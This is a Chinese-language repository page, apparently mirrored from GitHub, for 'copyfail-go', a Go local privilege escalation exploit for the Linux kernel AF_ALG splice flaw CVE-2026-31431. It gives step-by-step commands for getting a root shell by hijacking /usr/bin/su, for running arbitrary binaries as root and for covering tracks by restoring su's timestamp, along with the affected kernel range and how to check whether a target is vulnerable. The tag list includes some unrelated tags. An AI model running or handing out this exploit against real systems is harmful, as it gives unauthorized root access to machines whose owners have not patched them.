badsectorlabs/copyfail-go
GitHub: badsectorlabs/copyfail-go
针对 CVE-2026-31431 的 Go 语言本地提权利用工具,利用 Linux 内核 AF_ALG splice 缺陷实现从低权限用户到 root 的权限提升。
Stars: 260 | Forks: 49
# CopyFail Go
CVE-2026-31431 的 Go 语言实现。如果你需要静态二进制文件且不想依赖 Python,可以使用此项目。
访问 [copy.fail](https://copy.fail) 了解更多信息。
## 交互式 shell
```
# 将二进制文件传输到具有代码执行能力的 Linux 主机(留给读者练习)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary
root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
root@host# rm /tmp/su
root@host# # Do things as root =)
```
## 以 root 身份运行二进制文件
可用于将程序提权至 root
```
# 将二进制文件传输到具有代码执行能力的 Linux 主机(留给读者练习)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Use whatever you ran to restore su from /tmp/su
```
## 不信任这些十六进制数据?
在 Debian 主机(已在 Debian 13 上测试)上使用 `payloads/build-n-print.sh` 自行编译 payload。
你需要执行 `apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf`,然后在 payloads 目录中运行该脚本。它将编译每个 payload 并输出 zlib 压缩后的十六进制字符串。将它们与 `main.go` 中的内容进行比较(或者替换为你自己的),并从主项目目录执行 `goreleaser build --snapshot --clean` 来构建 `copyfile-go` 二进制文件。
## 受影响的内核(摘自 [copy-fail-c](https://github.com/tgies/copy-fail-c/tree/main#affected-kernels))
```
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
```
包括:所有未移植该修复补丁的主要发行版内核。
Ubuntu、RHEL、SUSE、Amazon Linux 和 Debian 在披露时
其默认的云镜像内核均被确认存在漏洞。各发行版级别的
补丁回移大约从 2026-04-29 开始随公开披露一同推出。要验证目标内核是否在受影响范围内,请检查内核的
git 日志或发行版的更新日志中是否存在 `a664bf3d603d`(或其特定于发行版的回移补丁)。
标签:ARM架构, CSV导出, CVE-2026-31431, Debian系统, Go语言, Linux内核提权, LPE, meg, Web报告查看器, x86架构, 二进制文件, 云资产清单, 信息安全, 协议分析, 子域名枚举, 安全报告生成, 安全渗透, 安全漏洞, 日志审计, 本地提权, 权限提升, 程序破解, 系统安全, 网络安全, 逆向工程, 隐私保护, 静态编译